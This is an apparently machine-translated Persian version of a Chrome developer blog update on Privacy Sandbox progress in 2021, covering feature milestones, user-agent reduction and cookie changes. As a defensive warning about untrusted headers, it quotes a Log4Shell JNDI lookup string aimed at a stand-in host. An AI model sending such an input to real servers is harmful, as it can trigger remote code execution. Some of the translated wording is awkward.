پیشرفت در جعبه ایمنی حریم خصوصی (دسامبر 2021)

به نسخه پایانی 2021 Progress in Privacy Sandbox خوش آمدید، نقاط عطف در مسیر حذف تدریجی کوکی‌های شخص ثالث در Chrome و تلاش برای ایجاد یک وب خصوصی‌تر. به طور معمول، ما یک نمای کلی از به‌روزرسانی‌های جدول زمانی Privacy Sandbox به همراه اخبار از سراسر پروژه را به اشتراک می‌گذاریم، اما دسامبر ماه آرامی بود. در عوض، به برخی از فعالیت‌های سال 2021 نگاه می‌کنیم و چند راه حل بالقوه ارائه می‌کنیم که می‌توانید اکنون در سال جدید هستیم.

فرآیند توسعه کروم

برای اینکه یک ویژگی جدید پلتفرم وب در Chromium قرار بگیرد، باید فرآیند توسعه باز پروژه را طی کند. در سال 2021، تیم Privacy Sandbox تولید کرد:

🥚 قصد نمونه سازی 19
🧪 قصد آزمایش 7
🚀 قصد حمل 11
منبع

هر نقطه عطف همچنین دعوتی است برای اکوسیستم وب گسترده تر برای مشارکت.

An Intent to Prototype اولین ایست بازرسی است که در آن به بحث و آزمایش اولیه دعوت می کنیم. این بدان معناست که یک پروپوزال در GitHub در دسترس خواهد بود، جایی که می‌توانید با ایجاد یک مشکل، سؤال بپرسید یا به بحث‌ها و ارائه‌ها در گروه‌های استاندارد مانند W3C و IETF بپیوندید . این همان جایی است که کدنویسی شروع می شود، به این معنی که می توانید انتظار داشته باشید که عملکرد نمونه اولیه برای آزمایش توسعه دهندگان در پشت پرچم ویژگی در دسترس قرار گیرد . بازخورد اولیه برای اعتبارسنجی و تکرار پیشنهادات بسیار مهم است.

اگر بخواهیم آزمایش اولیه را درخواست کنیم ، قصد آزمایش یک مرحله اختیاری است. توسعه دهندگان می توانند برای آزمایش اولیه یک ویژگی ثبت نام کنند و سپس آن را در مرحله تولید آزمایش کنند . این آزمایش نامیده می‌شود زیرا ما جنبه‌های خاصی از ویژگی را داریم که می‌خواهیم در محیط‌های دنیای واقعی اعتبارسنجی کنیم. توسعه‌دهندگانی که می‌توانند نتایج آن آزمایش‌ها را آزمایش کرده و به اشتراک بگذارند، بازخورد ارزشمندی برای کمک به تکرار و تکامل ویژگی ارائه می‌کنند.

Intent to Ship آخرین نقطه عطف است که نشان می دهد یک ویژگی اکنون کامل شده و برای در دسترس بودن عمومی آماده است. پس از تأیید، این ویژگی در نسخه بعدی ادغام می شود و سپس از طریق کانال های Canary، بتا و Stable پیشرفت می کند. بسیار مهم است که مطمئن شوید سایت‌های خود را با نسخه‌های Canary و بتا Chrome آزمایش می‌کنید تا قبل از اینکه یک ویژگی به Stable برسد، اشکالات را پیدا کرده و گزارش دهید.

پیشنهادات

هر پیشنهاد Privacy Sandbox دارای یک مخزن GitHub همراه است. یک مخزن میزبان یک توضیح برای خلاصه کردن عملکرد کلی، مشخصات دقیق برای پیاده سازی توسط مرورگرها، و مشارکت از سراسر اکوسیستم وب در قالب مسائل و درخواست های کششی است.

در 14 مخزن Privacy Sandbox، ما داشتیم:

💬 545 مسائل ایجاد شده است
250 مسائل بسته شد
🛠️ 261 درخواست های کششی ایجاد شد
223 درخواست‌های کششی ادغام شدند
منبع

زبان توضیح‌دهنده‌ها و مشخصات اغلب مخاطبانی است که از قبل با استانداردها و توسعه مرورگر آشنا هستند، که اگر با آن آشنا نباشید می‌تواند چالش‌برانگیز باشد. با این حال، هدف یک توضیح دهنده توضیح دادن است! اگر نکاتی وجود دارد که نامشخص است یا پوشش داده نشده است، از شما می‌خواهیم یک مشکل را مطرح کنید تا بتوانیم توضیح‌دهنده را به‌روزرسانی و روشن کنیم.

قطعنامه ها

تمیز کردن فنر عامل کاربر

همانطور که برای سال جدید شمارش معکوس می‌کردیم، تا Chrome 100 و کاهش تدریجی رشته کاربر-عامل شمارش می‌کنیم. این یک انگیزه خوب برای بررسی مجدد هر گونه استفاده از رشته user-agent در کد شما است تا بررسی کنید که آیا تحت تأثیر هر یک از این تغییرات قرار گرفته است یا خیر.

برای یافتن آن مناطق:

  1. navigator.userAgent را در کد جاوا اسکریپت خود جستجو کنید یا به سربرگ User-Agent در کد سرور خود دسترسی داشته باشید.
  2. تجزیه رشته خود را برای فرضیات مربوط به نسخه 2 رقمی بررسی کنید. برای مثال، یک regex که \d\d ​​یا \d{2} را مشخص می‌کند باید با \d+ جایگزین شود.
  3. استفاده از رشته را برای هر جایی که به موارد زیر تکیه می کنید بررسی کنید:
    • نسخه پلت فرم (سیستم عامل).
    • نسخه کامل کروم بیلد
    • نام دستگاه تلفن همراه
  4. اینها مقادیری هستند که در آینده به رشته های ثابت کاهش می یابند. اگر نیاز به دسترسی به این مقادیر دارید، به User-Agent Client Hints منتقل کنید .

یک به‌روزرسانی در ماه دسامبر وجود دارد که باید به آن اشاره کرد—اگر از راهنمایی‌های کاربر-عامل مشتری استفاده می‌کنید، ما این Intent را به Ship ارسال کرده‌ایم تا از طریق یک تگ <meta> ، انتقال راهنمایی‌ها به منابع دیگر در HTML را فعال کنیم . به عنوان مثال:

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

اگر در حال و هوای تمیز کردن بهاری مشتاق هستید، می‌توانید جایگزین‌هایی را نیز برای استفاده از کاربر-عامل در نظر بگیرید. اگر از رشته برای شناسایی دستگاه‌های تلفن همراه استفاده می‌کنید، بررسی کنید که آیا می‌توانید آن را با طراحی واکنش‌گرا جایگزین کنید. اگر نام مرورگر و نسخه را برای پشتیبانی از ویژگی بررسی می کنید، ببینید آیا می توانید به جای آن از تشخیص ویژگی استفاده کنید.

همیشه لازم به یادآوری است که عامل کاربر، مانند هر ارزش ارائه شده توسط مشتری، تضمینی برای دقیق بودن یا حتی ارائه آن وجود ندارد. آسیب پذیری اخیر Log4j، "Log4shell" نمونه ای از این خطر را ارائه می دهد. سرویس گیرنده ای که رشته عامل کاربر خود را به گونه ای تنظیم می کند که دارای مقداری مانند ${jndi:ldap://example.com/file} باشد، ممکن است بتواند سایتی را وادار کند که آن را به طور فعال در سرور تجزیه کند.

یکی دیگر از فعالیت‌های سنتی سال نو این است که مطمئن شوید از داشتن تعداد زیادی کوکی سالم با مواد با کیفیت خوشحال هستید. همانطور که به سمت مرحله حذف کوکی های شخص ثالث ادامه می دهیم، باید مطمئن شوید که می دانید کدام یک از کوکی های سایت شما تحت تأثیر قرار می گیرد. 2020 شروعی را به همراه داشت زیرا لازم بود همه کوکی‌ها برای استفاده بین سایتی یا شخص ثالث با SameSite=None علامت‌گذاری شوند.

هر کوکی که در آن مشخصه SameSite را روی None تنظیم کرده اید، نیاز به به روز رسانی دارد.

در حال حاضر سه راه ممکن برای بررسی وجود دارد:

  1. اگر کوکی فقط در رابطه 1:1 با سایت سطح بالا مورد نیاز است، پیشرفت پیشنهاد CHIPS را دنبال کنید. این به معنای افزودن ویژگی Partitioned به کوکی است.
  2. اگر کوکی در یک زمینه بین سایتی استفاده شود، اما فقط در بین سایت‌هایی که شما مالک و اداره می‌کنید، ممکن است کاندیدای مجموعه‌های شخص اول باشد. این امر مستلزم تعریف سایت‌های موجود در مجموعه و افزودن ویژگی SameParty به کوکی است.
  3. اگر از کوکی برای ارائه نوعی ارزش مشترک در چندین سایت استفاده می‌شود، مجموعه گسترده‌تری از پیشنهادات جعبه ایمنی حریم خصوصی را برای راه‌حل جایگزینی که متکی به ردیابی بین سایتی نیست، بررسی کنید.

اگر به خصوص به سلامت خود اهمیت می‌دهید، این زمان ایده‌آلی برای بررسی مجدد تمام استفاده از کوکی‌ها است، زیرا ما یک دستور العمل خوب برای بهبود کوکی‌های شخص اول شما نیز داریم.

بازخورد

همانطور که به انتشار این به‌روزرسانی‌های ماهانه ادامه می‌دهیم، و به طور کلی از طریق Privacy Sandbox پیشرفت می‌کنیم، می‌خواهیم مطمئن شویم که توسعه‌دهندگان اطلاعات و پشتیبانی مورد نیاز خود را دریافت می‌کنند. اگر چیزی وجود دارد که می‌توانیم در این مجموعه بهبود دهیم، در توییتر ChromiumDev@ به ما اطلاع دهید. ما از ورودی شما برای ادامه بهبود قالب استفاده خواهیم کرد.

سؤالات متداول Privacy Sandbox را بررسی کنید، که بر اساس مسائلی که شما به مخزن پشتیبانی برنامه‌نویس ارسال می‌کنید، به گسترش آن ادامه می‌دهیم. اگر در مورد آزمایش یا پیاده سازی هر یک از پیشنهادات سؤالی دارید، در آنجا با ما صحبت کنید.